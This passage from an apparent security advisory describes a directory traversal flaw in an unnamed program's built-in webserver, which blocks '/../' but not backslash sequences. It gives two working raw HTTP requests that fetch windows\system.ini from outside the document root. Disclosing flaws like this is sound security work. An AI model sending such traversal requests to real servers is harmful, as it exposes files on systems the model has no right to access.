2. The bug:
------------
The program has a built-in webserver that by default is able to avoid
malicious patterns like "/../" but it's not able to manage patterns
like "..\" or "\..\" into raw http requests.
So an attacker can go out the document root assigned to the webserver
and see/download all the files available on the remote system.

3. The code:
-------------
To test the vulnerability, connect to the webserver and send a raw
request like:
GET ..\..\..\..\..\..\..\..\windows\system.ini HTTP/1.0
or:
GET \..\..\..\..\..\..\..\..\windows\system.ini HTTP/1.0

4. The fix:

Bug will be probably fixed in the next release.
